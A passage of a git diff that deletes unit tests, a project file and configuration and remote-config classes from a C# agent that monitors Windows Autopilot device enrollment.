} - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/EnrollmentStatePersistenceTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/EnrollmentStatePersistenceTests.cs deleted file mode 100644 index 2b0eb3cb..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/EnrollmentStatePersistenceTests.cs +++ /dev/null @@ -1,221 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Tracking -{ - /// - /// Tests state serialization round-trip including all fields. - /// Prevents: state loss after crash (IsHybridJoin, signal timestamps, SignalsSeen), - /// crashes on missing/corrupt state files. - /// - public class EnrollmentStatePersistenceTests : IDisposable - { - private readonly string _tempDir; - private readonly EnrollmentStatePersistence _persistence; - - public EnrollmentStatePersistenceTests() - { - _tempDir = Path.Combine(Path.GetTempPath(), "autopilot-test-" + Guid.NewGuid().ToString("N")); - Directory.CreateDirectory(_tempDir); - _persistence = new EnrollmentStatePersistence(_tempDir, TestLogger.Instance); - } - - public void Dispose() - { - try - { - if (Directory.Exists(_tempDir)) - Directory.Delete(_tempDir, recursive: true); - } - catch { } - } - - [Fact] - public void SaveAndLoad_RoundTrip_PreservesAllBooleans() - { - var state = new EnrollmentStateData - { - EspEverSeen = true, - EspFinalExitSeen = true, - DesktopArrived = true, - IsWaitingForHello = true, - EnrollmentCompleteEmitted = false, - AadJoinedWithUser = true, - IsHybridJoin = true, - }; - - _persistence.Save(state); - var loaded = _persistence.Load(); - - Assert.NotNull(loaded); - Assert.True(loaded.EspEverSeen); - Assert.True(loaded.EspFinalExitSeen); - Assert.True(loaded.DesktopArrived); - Assert.True(loaded.IsWaitingForHello); - Assert.False(loaded.EnrollmentCompleteEmitted); - Assert.True(loaded.AadJoinedWithUser); - Assert.True(loaded.IsHybridJoin); - } - - [Fact] - public void SaveAndLoad_IsHybridJoin_Preserved() - { - var state = new EnrollmentStateData { IsHybridJoin = true }; - - _persistence.Save(state); - var loaded = _persistence.Load(); - - Assert.True(loaded.IsHybridJoin); - } - - [Fact] - public void SaveAndLoad_AllTimestamps_Preserved() - { - var now = DateTime.UtcNow; - var state = new EnrollmentStateData - { - EspFirstSeenUtc = now.AddMinutes(-10), - EspFinalExitUtc = now.AddMinutes(-5), - DesktopArrivedUtc = now.AddMinutes(-3), - HelloResolvedUtc = now.AddMinutes(-2), - ImePatternSeenUtc = now.AddMinutes(-1), - DeviceSetupProvisioningCompleteUtc = now, - }; - - _persistence.Save(state); - var loaded = _persistence.Load(); - - Assert.NotNull(loaded); - Assert.NotNull(loaded.EspFirstSeenUtc); - Assert.NotNull(loaded.EspFinalExitUtc); - Assert.NotNull(loaded.DesktopArrivedUtc); - Assert.NotNull(loaded.HelloResolvedUtc); - Assert.NotNull(loaded.ImePatternSeenUtc); - Assert.NotNull(loaded.DeviceSetupProvisioningCompleteUtc); - // Allow 1 second tolerance for serialization round-trip - Assert.InRange(loaded.EspFirstSeenUtc.Value, now.AddMinutes(-10).AddSeconds(-1), now.AddMinutes(-10).AddSeconds(1)); - } - - [Fact] - public void SaveAndLoad_SignalsSeen_Preserved() - { - var state = new EnrollmentStateData - { - SignalsSeen = new List - { - "esp_first_seen", - "esp_final_exit", - "desktop_arrived", - "hello_completed", - "esp_resumed" - } - }; - - _persistence.Save(state); - var loaded = _persistence.Load(); - - Assert.NotNull(loaded); - Assert.Equal(5, loaded.SignalsSeen.Count); - Assert.Contains("esp_resumed", loaded.SignalsSeen); - } - - [Fact] - public void SaveAndLoad_EnrollmentConfig_Preserved() - { - var state = new EnrollmentStateData - { - LastEspPhase = "AccountSetup", - EnrollmentType = "v1", - SkipUserStatusPage = true, - SkipDeviceStatusPage = false, - AutopilotMode = 1, - }; - - _persistence.Save(state); - var loaded = _persistence.Load(); - - Assert.Equal("AccountSetup", loaded.LastEspPhase); - Assert.Equal("v1", loaded.EnrollmentType); - Assert.True(loaded.SkipUserStatusPage); - Assert.False(loaded.SkipDeviceStatusPage); - Assert.Equal(1, loaded.AutopilotMode); - } - - [Fact] - public void Load_MissingFile_ReturnsNull() - { - var tempDir2 = Path.Combine(Path.GetTempPath(), "autopilot-test-empty-" + Guid.NewGuid().ToString("N")); - Directory.CreateDirectory(tempDir2); - try - { - var persistence = new EnrollmentStatePersistence(tempDir2, TestLogger.Instance); - var loaded = persistence.Load(); - - Assert.Null(loaded); - } - finally - { - Directory.Delete(tempDir2, true); - } - } - - [Fact] - public void Load_CorruptJson_ReturnsNull() - { - // Write corrupt JSON directly - File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), "{ corrupt json !!!"); - - var loaded = _persistence.Load(); - - Assert.Null(loaded); - } - - [Fact] - public void Load_EmptyFile_ReturnsNull() - { - File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), ""); - - var loaded = _persistence.Load(); - - Assert.Null(loaded); - } - - [Fact] - public void Delete_RemovesFile() - { - var state = new EnrollmentStateData { EspEverSeen = true }; - _persistence.Save(state); - Assert.True(File.Exists(_persistence.StateFilePath)); - - _persistence.Delete(); - - Assert.False(File.Exists(_persistence.StateFilePath)); - } - - [Fact] - public void Delete_NoFile_DoesNotThrow() - { - // Should not throw when no file exists - _persistence.Delete(); - } - - [Fact] - public void Save_CreatesDirectory() - { - var nestedDir = Path.Combine(_tempDir, "nested", "subdir"); - var persistence = new EnrollmentStatePersistence(nestedDir, TestLogger.Instance); - - persistence.Save(new EnrollmentStateData { EspEverSeen = true }); - - Assert.True(File.Exists(persistence.StateFilePath)); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/LogFilePositionTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/LogFilePositionTrackerTests.cs deleted file mode 100644 index 6edf4423..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/LogFilePositionTrackerTests.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Tracking -{ - /// - /// Tests incremental log file reading: position tracking, rotation detection, and crash recovery. - /// Prevents: missed log entries after rotation, duplicate event emission after restart. - /// - public class LogFilePositionTrackerTests - { - [Fact] - public void GetSafePosition_NewFile_ReturnsZero() - { - var tracker = new LogFilePositionTracker(); - - var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 5000); - - Assert.Equal(0, pos); - } - - [Fact] - public void GetSafePosition_NormalGrowth_ReturnsSavedPosition() - { - var tracker = new LogFilePositionTracker(); - tracker.SetPosition(@"C:\logs\test.log", 1000); - - var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 2000); - - Assert.Equal(1000, pos); - } - - [Fact] - public void GetSafePosition_FileRotation_ResetsToZero() - { - // File shrunk (rotation) — must restart from beginning - var tracker = new LogFilePositionTracker(); - tracker.SetPosition(@"C:\logs\test.log", 5000); - - var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 500); - - Assert.Equal(0, pos); - } - - [Fact] - public void GetPosition_UnknownFile_ReturnsZero() - { - var tracker = new LogFilePositionTracker(); - - var pos = tracker.GetPosition(@"C:\logs\unknown.log"); - - Assert.Equal(0, pos); - } - - [Fact] - public void SetPosition_ThenGetPosition_ReturnsCorrectValue() - { - var tracker = new LogFilePositionTracker(); - tracker.SetPosition(@"C:\logs\test.log", 42); - - Assert.Equal(42, tracker.GetPosition(@"C:\logs\test.log")); - } - - [Fact] - public void RestorePosition_SetsCorrectState() - { - var tracker = new LogFilePositionTracker(); - tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000); - - // Position restored — should return saved position when file is larger - var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 6000); - Assert.Equal(3000, pos); - } - - [Fact] - public void RestorePosition_ThenRotation_ResetsToZero() - { - var tracker = new LogFilePositionTracker(); - tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000); - - // File rotated — smaller than restored position - var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 100); - Assert.Equal(0, pos); - } - - [Fact] - public void GetAllPositions_ReturnsDefensiveCopy() - { - var tracker = new LogFilePositionTracker(); - tracker.SetPosition(@"C:\logs\a.log", 100); - tracker.SetPosition(@"C:\logs\b.log", 200); - - var positions = tracker.GetAllPositions(); - - Assert.Equal(2, positions.Count); - // Modifying returned dict should not affect tracker - positions.Clear(); - Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log")); - } - - [Fact] - public void CaseInsensitive_SameFileDifferentCase() - { - var tracker = new LogFilePositionTracker(); - tracker.SetPosition(@"C:\Logs\Test.log", 500); - - var pos = tracker.GetPosition(@"C:\logs\test.log"); - - Assert.Equal(500, pos); - } - - [Fact] - public void MultipleFiles_IndependentTracking() - { - var tracker = new LogFilePositionTracker(); - tracker.SetPosition(@"C:\logs\a.log", 100); - tracker.SetPosition(@"C:\logs\b.log", 200); - - Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log")); - Assert.Equal(200, tracker.GetPosition(@"C:\logs\b.log")); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/WhiteGloveClassifierTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/WhiteGloveClassifierTests.cs deleted file mode 100644 index 2e926d09..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/WhiteGloveClassifierTests.cs +++ /dev/null @@ -1,269 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Tracking -{ - public class WhiteGloveClassifierTests - { - // ===================================================================== - // Zero / None baseline - // ===================================================================== - - [Fact] - public void Classify_AllSignalsOff_ReturnsNone() - { - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals()); - - Assert.Equal(WhiteGloveConfidence.None, result.Confidence); - Assert.Equal(0, result.Score); - Assert.False(result.ShouldRouteToWhiteGlovePart1); - Assert.Empty(result.ContributingFactors); - } - - // ===================================================================== - // Single-signal behaviour (the core bugfix) - // ===================================================================== - - [Fact] - public void Classify_ShellCoreAlone_IsStrong() - { - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, - }); - - Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence); - Assert.Equal(80, result.Score); - Assert.True(result.ShouldRouteToWhiteGlovePart1); - } - - [Fact] - public void Classify_OnlySaveWgSuccessResult_IsNoneNotWg() - { - // The core bug-avoidance test: SaveWhiteGloveSuccessResult=true alone has been - // observed on genuinely non-WG devices and MUST NOT classify as WhiteGlove. - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - HasSaveWhiteGloveSuccessResult = true, - }); - - Assert.Equal(WhiteGloveConfidence.None, result.Confidence); - Assert.Equal(10, result.Score); - Assert.False(result.ShouldRouteToWhiteGlovePart1); - } - - [Fact] - public void Classify_SaveWgPlusDeviceOnly_IsStillNone() - { - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - HasSaveWhiteGloveSuccessResult = true, - IsDeviceOnlyDeployment = true, - }); - - Assert.Equal(WhiteGloveConfidence.None, result.Confidence); - Assert.Equal(25, result.Score); - Assert.False(result.ShouldRouteToWhiteGlovePart1); - } - - [Fact] - public void Classify_WeakSignalVerbundJustBelowThreshold_IsWeakNotWg() - { - // Mehrere weiche Signale alleine reichen nicht fuer Strong. - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - IsFooUserDetected = true, // +20 - IsWhiteGloveStartDetected = true, // +15 - IsDeviceOnlyDeployment = true, // +15 - }); - - Assert.Equal(WhiteGloveConfidence.Weak, result.Confidence); - Assert.Equal(50, result.Score); - Assert.False(result.ShouldRouteToWhiteGlovePart1); - } - - [Fact] - public void Classify_WeakSignalVerbundAtThreshold_IsStrongAndRoutes() - { - // Signalverbund erreicht gerade die 70 — laut Plan: WG. - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - HasSaveWhiteGloveSuccessResult = true, // +10 - IsFooUserDetected = true, // +20 - IsWhiteGloveStartDetected = true, // +15 - IsDeviceOnlyDeployment = true, // +15 - AgentRestartedAfterEspExit = true, // +10 - }); - - Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence); - Assert.Equal(70, result.Score); - Assert.True(result.ShouldRouteToWhiteGlovePart1); - } - - // ===================================================================== - // Hard excluders - // ===================================================================== - - [Fact] - public void Classify_AadJoinedWithUser_OverridesStrongPositive() - { - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, - AadJoinedWithUser = true, // real user — definitively not WG Part 1 - }); - - Assert.Equal(WhiteGloveConfidence.None, result.Confidence); - Assert.Equal(0, result.Score); - Assert.False(result.ShouldRouteToWhiteGlovePart1); - } - - [Fact] - public void Classify_DesktopArrived_OverridesStrongPositive() - { - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, - DesktopArrived = true, - }); - - Assert.Equal(WhiteGloveConfidence.None, result.Confidence); - Assert.Equal(0, result.Score); - Assert.False(result.ShouldRouteToWhiteGlovePart1); - } - - [Fact] - public void Classify_AccountSetupActivity_DampensButDoesNotHardExclude() - { - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, // +80 - HasAccountSetupActivity = true, // -40 - }); - - // 80 - 40 = 40 → Weak (NOT routed to WG) - Assert.Equal(WhiteGloveConfidence.Weak, result.Confidence); - Assert.Equal(40, result.Score); - Assert.False(result.ShouldRouteToWhiteGlovePart1); - } - - // ===================================================================== - // Placeholder user (foouser@ / autopilot@) — NOT aadJoinedWithUser - // ===================================================================== - - [Fact] - public void Classify_FooUserWithoutRealAadJoin_StaysStrong() - { - // Placeholder-User ist KEIN realer AAD-Join; Hard-Excluder greift nicht. - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, // +80 - IsFooUserDetected = true, // +20 - AadJoinedWithUser = false, // Placeholder zählt NICHT als real - }); - - Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence); - Assert.Equal(100, result.Score); // capped - Assert.True(result.ShouldRouteToWhiteGlovePart1); - } - - // ===================================================================== - // Hybrid join is NOT a dampener (removed per plan review) - // ===================================================================== - - [Fact] - public void Classify_HybridWithStrongSignal_StaysStrong() - { - // Hybrid-Join darf die WG-Klassifikation nicht dämpfen (WG funktioniert auch hybrid). - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, - IsDeviceOnlyDeployment = true, - }); - - Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence); - Assert.Equal(95, result.Score); - Assert.True(result.ShouldRouteToWhiteGlovePart1); - } - - // ===================================================================== - // Late AAD-Join Transition - // ===================================================================== - - [Fact] - public void Classify_LateAadJoinFlipsStrongToNone() - { - // Vor dem Late-Update: Strong. - var before = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, - AadJoinedWithUser = false, - }); - Assert.Equal(WhiteGloveConfidence.Strong, before.Confidence); - Assert.True(before.ShouldRouteToWhiteGlovePart1); - - // Nach dem Late-AAD-Update: None (harter Ausschluss). - var after = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, - AadJoinedWithUser = true, - }); - Assert.Equal(WhiteGloveConfidence.None, after.Confidence); - Assert.False(after.ShouldRouteToWhiteGlovePart1); - } - - // ===================================================================== - // Session 304620a8 regression — WhiteGlove Part 2 re-entry after resume - // ===================================================================== - - [Fact] - public void Classify_Part2ResumeWithAllPositivesAndAadJoin_IsWeakNotStrong() - { - // Reproduziert den Signalstand beim 2. ESP-Exit in Session 304620a8-...: - // Part 1 ist sauber durchgelaufen (Shell-Core + SaveWg + Event509 + FooUser), - // Agent hat nach Part 1 rebootet, in Part 2 hat der reale User sich - // eingeloggt (AadJoinedWithUser=true). Der 2. ESP-Exit darf nicht erneut - // zu whiteglove_complete routen — Hard-Excluder muss das Routing kippen. - var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, // +80 - HasSaveWhiteGloveSuccessResult = true, // +10 - IsWhiteGloveStartDetected = true, // +15 - IsFooUserDetected = true, // +20 - AgentRestartedAfterEspExit = true, // +10 - AadJoinedWithUser = true, // -100 hard excluder - }); - - Assert.False(result.ShouldRouteToWhiteGlovePart1); - Assert.NotEqual(WhiteGloveConfidence.Strong, result.Confidence); - } - - // ===================================================================== - // ShouldRouteToWhiteGlovePart1 only fires on Strong - // ===================================================================== - - [Fact] - public void Classify_ShouldRoute_OnlyOnStrong() - { - var none = WhiteGloveClassifier.Classify(new WhiteGloveSignals()); - var weak = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - IsFooUserDetected = true, - IsDeviceOnlyDeployment = true, - }); - var strong = WhiteGloveClassifier.Classify(new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = true, - }); - - Assert.Equal(WhiteGloveConfidence.None, none.Confidence); - Assert.False(none.ShouldRouteToWhiteGlovePart1); - - Assert.Equal(WhiteGloveConfidence.Weak, weak.Confidence); - Assert.False(weak.ShouldRouteToWhiteGlovePart1); - - Assert.Equal(WhiteGloveConfidence.Strong, strong.Confidence); - Assert.True(strong.ShouldRouteToWhiteGlovePart1); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/AutopilotMonitor.Agent.Core.csproj b/src/Agent/AutopilotMonitor.Agent.Core/AutopilotMonitor.Agent.Core.csproj deleted file mode 100644 index d42fcf33..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/AutopilotMonitor.Agent.Core.csproj +++ /dev/null @@ -1,41 +0,0 @@ - - - - net48 - latest - - - - - <_Parameter1>AutopilotMonitor.Agent.Core.Tests - - - <_Parameter1>DynamicProxyGenAssembly2 - - - - - - - - - - - - - - - - - - - - - $(windir)\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll - - - - - - - diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Configuration/AgentConfiguration.cs b/src/Agent/AutopilotMonitor.Agent.Core/Configuration/AgentConfiguration.cs deleted file mode 100644 index c5ddfb20..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Configuration/AgentConfiguration.cs +++ /dev/null @@ -1,271 +0,0 @@ -using System; -using System.Collections.Generic; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Configuration -{ - /// - /// Agent configuration settings - /// - public class AgentConfiguration - { - /// - /// Backend API base URL - /// - public string ApiBaseUrl { get; set; } - - /// - /// Session identifier for this enrollment - /// - public string SessionId { get; set; } - - /// - /// Tenant identifier - /// - public string TenantId { get; set; } - - /// - /// Local spool directory path - /// - public string SpoolDirectory { get; set; } - - /// - /// Agent log directory path - /// - public string LogDirectory { get; set; } - - /// - /// Upload interval in seconds - /// - public int UploadIntervalSeconds { get; set; } = 30; - - /// - /// Maximum batch size for events - /// - public int MaxBatchSize { get; set; } = 100; - - /// - /// Whether to use client certificate authentication - /// - public bool UseClientCertAuth { get; set; } = true; - - - /// - /// Log verbosity level: Info (default), Debug, Verbose. - /// Overridable via remote config. - /// - public AgentLogLevel LogLevel { get; set; } = AgentLogLevel.Info; - - /// - /// Maximum retry attempts for failed uploads - /// - public int MaxRetryAttempts { get; set; } = 5; - - /// - /// Whether to self-destruct when enrollment completes (remove Scheduled Task and all files). - /// This is the only cleanup mode — SelfDestruct always removes task + files. - /// - public bool SelfDestructOnComplete { get; set; } = true; - - /// - /// Name of the Scheduled Task to remove during self-destruct - /// - public string ScheduledTaskName { get; set; } = Constants.ScheduledTaskName; - - /// - /// Whether to reboot the device after enrollment completes - /// - public bool RebootOnComplete { get; set; } = false; - - /// - /// Delay in seconds before the reboot is initiated (shutdown.exe /r /t X). - /// Default: 10 seconds - /// - public int RebootDelaySeconds { get; set; } = 10; - - /// - /// When true, the log directory is preserved after self-destruct/cleanup. - /// All other files (binaries, config, spool, scheduled task) are still removed. - /// - public bool KeepLogFile { get; set; } = false; - - /// - /// Whether to enable geo-location detection (queries external IP services) - /// - public bool EnableGeoLocation { get; set; } = true; - - /// - /// NTP server address for time check during enrollment. - /// Default: "time.windows.com" - /// - public string NtpServer { get; set; } = "time.windows.com"; - - /// - /// Whether to automatically set the device timezone based on IP geolocation. - /// Requires EnableGeoLocation to be true. Uses tzutil /s to apply. - /// Default: false - /// - public bool EnableTimezoneAutoSet { get; set; } = false; - - /// - /// Optional custom path to IME logs directory for testing. - /// If set, overrides the default %ProgramData%\Microsoft\IntuneManagementExtension\Logs path. - /// - public string ImeLogPathOverride { get; set; } - - /// - /// Optional path to write every IME log line that matched a pattern (for debugging). - /// If empty, no match log is written. Example: %ProgramData%\AutopilotMonitor\Logs\ime-matches.log - /// - public string ImeMatchLogPath { get; set; } - - /// - /// Path to directory with real IME log files for log replay. - /// When set, the agent replays these logs with time compression instead of reading live logs. - /// - public string ReplayLogDir { get; set; } - - /// - /// Time compression factor for log replay. - /// Higher values = faster replay. Default: 50 (e.g., 50 minutes of real logs = 1 minute of replay). - /// - public double ReplaySpeedFactor { get; set; } = 50; - - /// - /// Wait time in seconds after ESP exit before marking Hello as skipped. - /// When ESP exits, we wait this duration for Hello wizard to start (event 62404). - /// Default: 30 seconds (reasonable for systems under load). - /// If Hello wizard starts within this window, we continue waiting for Hello completion (300/301). - /// - public int HelloWaitTimeoutSeconds { get; set; } = 30; - - /// - /// Maximum consecutive authentication failures (401/403) before the agent shuts down. - /// Prevents endless retry traffic when the device is not authorized. - /// 0 = disabled (retry forever). Default: 5. - /// - public int MaxAuthFailures { get; set; } = 5; - - /// - /// Maximum time in minutes the agent keeps retrying after the first auth failure. - /// 0 = disabled (no time limit, only MaxAuthFailures applies). Default: 0. - /// - public int AuthFailureTimeoutMinutes { get; set; } = 0; - - /// - /// Maximum agent lifetime in minutes. Safety net to prevent zombie agents. - /// The agent emits enrollment_failed with failureType "agent_timeout" when this expires. - /// 0 = disabled (no lifetime limit). Default: 360 (6 hours). - /// - public int AgentMaxLifetimeMinutes { get; set; } = 360; - - /// - /// Absolute maximum session age in hours across all agent restarts. - /// Emergency break: if the session has been alive longer than this, the agent - /// forces cleanup and self-destructs regardless of enrollment state. - /// Prevents zombie agents caused by unrecoverable logic errors. - /// Respects WhiteGlove scenarios (timer resets on Part 2 resume). - /// Default: 48 hours. - /// - public int AbsoluteMaxSessionHours { get; set; } = 48; - - /// - /// Bootstrap token for pre-MDM auth during OOBE. - /// Embedded by the OOBE bootstrapper script via --bootstrap-token CLI arg. - /// When set, sent as X-Bootstrap-Token header instead of cert auth. - /// - public string BootstrapToken { get; set; } - - /// - /// Whether to use bootstrap token auth (true until MDM cert becomes available). - /// - public bool UseBootstrapTokenAuth { get; set; } - - /// - /// Whether to show a visual enrollment summary dialog to the end user. - /// - public bool ShowEnrollmentSummary { get; set; } = false; - - /// - /// Auto-close timeout in seconds for the enrollment summary dialog. - /// 0 = no auto-close. Default: 60 - /// - public int EnrollmentSummaryTimeoutSeconds { get; set; } = 60; - - /// - /// Optional URL to a branding image for the enrollment summary dialog banner. - /// - public string EnrollmentSummaryBrandingImageUrl { get; set; } - - /// - /// Maximum time in seconds the agent retries launching the enrollment summary dialog - /// when the user's desktop is locked by a credential UI (e.g. Windows Hello). - /// 0 = no retry (single attempt). Default: 120. - /// - public int EnrollmentSummaryLaunchRetrySeconds { get; set; } = 120; - - /// - /// Whether diagnostics upload is configured for this tenant. - /// When true, the agent requests a short-lived upload URL from the backend just before uploading. - /// The SAS URL itself is never stored in config — it is fetched on-demand and used in memory only. - /// - public bool DiagnosticsUploadEnabled { get; set; } = false; - - /// - /// When to upload diagnostics packages: "Off", "Always", "OnFailure". - /// Default: "Off" - /// - public string DiagnosticsUploadMode { get; set; } = "Off"; - - /// - /// Merged list of log paths/wildcards to include in the diagnostics ZIP package. - /// Received from the backend config (global + tenant-specific). - /// Each entry is validated against DiagnosticsPathGuards before use. - /// - public List DiagnosticsLogPaths { get; set; } = new List(); - - /// - /// Whether the agent should send Trace-severity events to the backend. - /// Controlled per tenant via remote config. Default: true (on in preview). - /// - public bool SendTraceEvents { get; set; } = true; - - /// - /// When true, agent guardrails are relaxed: all registry, WMI, and command targets are allowed. - /// File/diagnostics paths allow everything except C:\Users. - /// Default: false. - /// - public bool UnrestrictedMode { get; set; } = false; - - /// - /// Sanitized command-line arguments for the agent_started event. - /// Secrets (e.g. bootstrap token) are redacted before assignment. - /// - public string CommandLineArgs { get; set; } - - /// - /// When true, the agent waits for an MDM certificate to appear before starting. - /// Used when deploying the agent before Intune enrollment completes. - /// The agent polls the certificate store every 5 seconds until a valid cert is found. - /// - public bool AwaitEnrollment { get; set; } = false; - - /// - /// Maximum time in minutes to wait for the MDM certificate in await-enrollment mode. - /// 0 = wait indefinitely. Default: 480 (8 hours). - /// - public int AwaitEnrollmentTimeoutMinutes { get; set; } = 480; - - /// - /// Validates the configuration - /// - public bool IsValid() - { - return !string.IsNullOrEmpty(ApiBaseUrl) && - !string.IsNullOrEmpty(SessionId) && - !string.IsNullOrEmpty(TenantId); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Configuration/RemoteConfigService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Configuration/RemoteConfigService.cs deleted file mode 100644 index ae2bd661..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Configuration/RemoteConfigService.cs +++ /dev/null @@ -1,203 +0,0 @@ -using System; -using System.IO; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Configuration -{ - /// - /// Fetches and caches remote configuration from the backend API - /// Provides collector toggles and gather rules to the agent - /// - public class RemoteConfigService : IDisposable - { - private readonly BackendApiClient _apiClient; - private readonly string _tenantId; - private readonly AgentLogger _logger; - private readonly string _cacheFilePath; - private readonly EmergencyReporter _emergencyReporter; - private readonly DistressReporter _distressReporter; - - private AgentConfigResponse _currentConfig; - private readonly object _configLock = new object(); - - /// - /// Gets the current configuration (thread-safe) - /// - public AgentConfigResponse CurrentConfig - { - get - { - lock (_configLock) - { - return _currentConfig; - } - } - } - - public RemoteConfigService(BackendApiClient apiClient, string tenantId, AgentLogger logger, EmergencyReporter emergencyReporter = null, DistressReporter distressReporter = null) - { - _apiClient = apiClient ?? throw new ArgumentNullException(nameof(apiClient)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _emergencyReporter = emergencyReporter; - _distressReporter = distressReporter; - - var cacheDir = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\Config"); - _cacheFilePath = Path.Combine(cacheDir, "remote-config.json"); - } - - /// - /// Fetches the initial configuration from the backend - /// Falls back to cached config if the API is unreachable - /// - public async Task FetchConfigAsync() - { - try - { - _logger.Info("Fetching remote configuration from backend..."); - var config = await _apiClient.GetAgentConfigAsync(_tenantId); - - if (config != null) - { - _logger.Info($"Remote config fetched: ConfigVersion={config.ConfigVersion}, " + - $"GatherRules={config.GatherRules?.Count ?? 0}"); - - LogCollectorSettings(config.Collectors); - SetConfig(config); - CacheConfig(config); - return config; - } - - _logger.Warning("Remote config fetch returned empty response"); - } - catch (BackendAuthException ex) - { - _logger.Warning($"Config fetch authentication failed: {ex.Message}"); - - // Auth failure → use distress channel (pre-auth, works without cert) - if (_distressReporter != null) - { - _ = _distressReporter.TrySendAsync( - DistressErrorType.ConfigFetchDenied, - ex.Message, - httpStatusCode: ex.StatusCode); - } - } - catch (Exception ex) - { - _logger.Warning($"Failed to fetch remote config: {ex.Message}"); - - // Non-auth failure → use authenticated emergency channel - if (_emergencyReporter != null) - { - _ = _emergencyReporter.TrySendAsync( - AgentErrorType.ConfigFetchFailed, - ex.Message); - } - } - - // Fall back to cached config - var cached = LoadCachedConfig(); - if (cached != null) - { - _logger.Info("Using cached remote configuration"); - SetConfig(cached); - return cached; - } - - // Fall back to defaults - _logger.Info("No cached config available, using defaults (all optional collectors disabled)"); - var defaults = CreateDefaultConfig(); - SetConfig(defaults); - return defaults; - } - - private void SetConfig(AgentConfigResponse config) - { - lock (_configLock) - { - _currentConfig = config; - } - } - - private void LogCollectorSettings(CollectorConfiguration collectors) - { - if (collectors == null) return; - - _logger.Info(" Collector settings:"); - _logger.Info($" Performance: {(collectors.EnablePerformanceCollector ? "ON" : "OFF")} (interval: {collectors.PerformanceIntervalSeconds}s)"); - } - - private void 